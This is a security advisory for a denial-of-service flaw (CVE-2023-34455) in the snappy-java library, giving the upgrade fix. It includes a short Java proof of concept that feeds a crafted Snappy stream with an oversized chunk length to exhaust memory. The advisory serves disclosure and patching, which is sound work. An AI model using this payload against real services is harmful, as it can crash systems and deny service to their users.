Denial of Service (DoS) Affecting org.xerial.snappy:snappy-java package, versions [,1.1.10.1)
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Test your applications- Snyk ID SNYK-JAVA-ORGXERIALSNAPPY-5710960
- published 16 Jun 2023
- disclosed 16 Jun 2023
- credit Ori Hollander
Introduced: 16 Jun 2023
CVE-2023-34455 Open this link in a new tabHow to fix?
Upgrade org.xerial.snappy:snappy-java
to version 1.1.10.1 or higher.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) via the hasNextChunk
function due to improper validation of the chunkSize
variable value.
Exploiting this vulnerability is possible by passing a negative number (such as 0xFFFFFFFF
, which is -1), which will cause the code to raise a java.lang.NegativeArraySizeException
exception.
A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF
), raising the fatal java.lang.OutOfMemoryError
error.
PoC
package org.example;
import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
try {
in.read(out);
}
catch (Exception ignored) {
}
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package